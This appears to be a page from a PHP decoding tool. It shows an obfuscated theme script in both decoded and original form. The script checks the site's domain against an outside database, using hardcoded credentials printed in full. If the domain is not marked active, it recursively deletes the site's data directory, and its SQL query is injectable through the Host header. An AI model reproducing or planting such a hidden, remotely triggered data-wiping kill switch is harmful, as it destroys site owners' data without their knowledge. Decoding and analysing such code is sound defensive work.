Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto o5mva; o5mva: function deleteDirectory($dir) { goto zewsb; zewsb: if (!file_ex..
Decoded Output download
<?php
goto o5mva; o5mva: function deleteDirectory($dir) { goto zewsb; zewsb: if (!file_exists($dir)) { return true; } goto WxIOx; WxIOx: if (!is_dir($dir)) { return unlink($dir); } goto rfRp7; pSw03: return rmdir($dir); goto ehZ0Y; rfRp7: foreach (scandir($dir) as $item) { if ($item == "." || $item == "..") { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } goto pSw03; ehZ0Y: } goto WxKfN; ppPfo: $filePath = "theme/assets/libs/imask/dist/bnc/bnc.txt"; goto gs8yx; WxKfN: $directoryPath = "theme/assets/libs/imask/dist/bnc"; goto ppPfo; gs8yx: if (is_dir($directoryPath) && file_exists($filePath)) { goto me5bs; me5bs: $fileContent = file_get_contents($filePath); goto bJb1F; dZOYQ: if (trim($fileContent) == $a) { goto H0scQ; H0scQ: $servername = "sql.freedb.tech"; goto Xhf8_; yIyVW: $conn = new mysqli($servername, $username, $password, $dbname); goto bry2W; xI8_S: $dbname = "freedb_dml102"; goto yIyVW; bry2W: if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } goto Zj9df; Ml_zC: $conn->close(); goto ZqCk4; Zj9df: $sql = "SELECT trangthai FROM domain WHERE giatri = '{$a}'"; goto zupSk; zupSk: $result = $conn->query($sql); goto Io4RY; Io4RY: if ($result) { if ($result->num_rows > 0) { goto N1Paj; jBUJ2: $trangthai = $row["trangthai"]; goto uWYet; N1Paj: $row = $result->fetch_assoc(); goto jBUJ2; uWYet: if ($trangthai == 1) { include "theme/lg.php"; } else { $directoryPath = $_SERVER["DOCUMENT_ROOT"] . "/data"; deleteDirectory($directoryPath); } goto Wu0kk; Wu0kk: } } else { die("Query failed: " . $conn->error); } goto Ml_zC; UsA88: $password = "zRKQ*arXY498f@e"; goto xI8_S; Xhf8_: $username = "freedb_dml102"; goto UsA88; ZqCk4: } else { $directoryPath = $_SERVER["DOCUMENT_ROOT"] . "/data"; deleteDirectory($directoryPath); } goto mbHcg; bJb1F: $a = $_SERVER["HTTP_HOST"]; goto dZOYQ; mbHcg: } else { include "theme/lg.php"; } ?>
Did this file decode correctly?
Original Code
<?php
goto o5mva; o5mva: function deleteDirectory($dir) { goto zewsb; zewsb: if (!file_exists($dir)) { return true; } goto WxIOx; WxIOx: if (!is_dir($dir)) { return unlink($dir); } goto rfRp7; pSw03: return rmdir($dir); goto ehZ0Y; rfRp7: foreach (scandir($dir) as $item) { if ($item == "\x2e" || $item == "\x2e\x2e") { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } goto pSw03; ehZ0Y: } goto WxKfN; ppPfo: $filePath = "\164\150\145\x6d\x65\x2f\x61\163\163\145\164\163\x2f\x6c\151\142\x73\57\x69\155\x61\x73\153\x2f\x64\x69\x73\x74\57\x62\x6e\x63\57\x62\x6e\x63\x2e\x74\170\164"; goto gs8yx; WxKfN: $directoryPath = "\x74\150\x65\x6d\x65\57\x61\163\163\x65\x74\x73\x2f\154\151\142\x73\57\x69\x6d\141\163\x6b\x2f\144\151\x73\164\57\x62\156\x63"; goto ppPfo; gs8yx: if (is_dir($directoryPath) && file_exists($filePath)) { goto me5bs; me5bs: $fileContent = file_get_contents($filePath); goto bJb1F; dZOYQ: if (trim($fileContent) == $a) { goto H0scQ; H0scQ: $servername = "\163\161\x6c\56\146\x72\145\145\144\142\x2e\164\x65\x63\x68"; goto Xhf8_; yIyVW: $conn = new mysqli($servername, $username, $password, $dbname); goto bry2W; xI8_S: $dbname = "\x66\162\x65\x65\144\x62\x5f\x64\x6d\x6c\61\60\x32"; goto yIyVW; bry2W: if ($conn->connect_error) { die("\x43\x6f\156\x6e\x65\143\164\x69\157\156\x20\146\141\151\x6c\x65\144\72\x20" . $conn->connect_error); } goto Zj9df; Ml_zC: $conn->close(); goto ZqCk4; Zj9df: $sql = "\x53\x45\x4c\x45\103\x54\40\x74\162\x61\156\147\x74\x68\141\x69\40\106\x52\117\x4d\40\144\157\155\x61\x69\x6e\40\x57\x48\x45\x52\x45\40\147\x69\x61\164\x72\x69\40\x3d\x20\47{$a}\x27"; goto zupSk; zupSk: $result = $conn->query($sql); goto Io4RY; Io4RY: if ($result) { if ($result->num_rows > 0) { goto N1Paj; jBUJ2: $trangthai = $row["\x74\x72\x61\x6e\x67\x74\x68\141\x69"]; goto uWYet; N1Paj: $row = $result->fetch_assoc(); goto jBUJ2; uWYet: if ($trangthai == 1) { include "\164\150\145\155\145\57\154\147\56\x70\x68\x70"; } else { $directoryPath = $_SERVER["\x44\x4f\x43\125\115\x45\116\x54\x5f\x52\117\117\124"] . "\57\144\141\x74\141"; deleteDirectory($directoryPath); } goto Wu0kk; Wu0kk: } } else { die("\x51\165\145\x72\x79\40\146\x61\151\154\145\x64\x3a\x20" . $conn->error); } goto Ml_zC; UsA88: $password = "\172\x52\x4b\x51\x2a\x61\162\x58\131\64\x39\70\146\x40\145"; goto xI8_S; Xhf8_: $username = "\x66\162\x65\145\x64\x62\x5f\144\155\154\x31\60\62"; goto UsA88; ZqCk4: } else { $directoryPath = $_SERVER["\x44\117\103\125\x4d\x45\116\124\x5f\x52\117\117\x54"] . "\x2f\x64\x61\x74\141"; deleteDirectory($directoryPath); } goto mbHcg; bJb1F: $a = $_SERVER["\x48\124\x54\120\x5f\110\117\x53\x54"]; goto dZOYQ; mbHcg: } else { include "\x74\150\x65\x6d\145\57\x6c\147\x2e\160\150\x70"; }
Function Calls
| None |
Stats
| MD5 | 3348a94543d84678fceb1f5349da15f3 |
| Eval Count | 0 |
| Decode Time | 50 ms |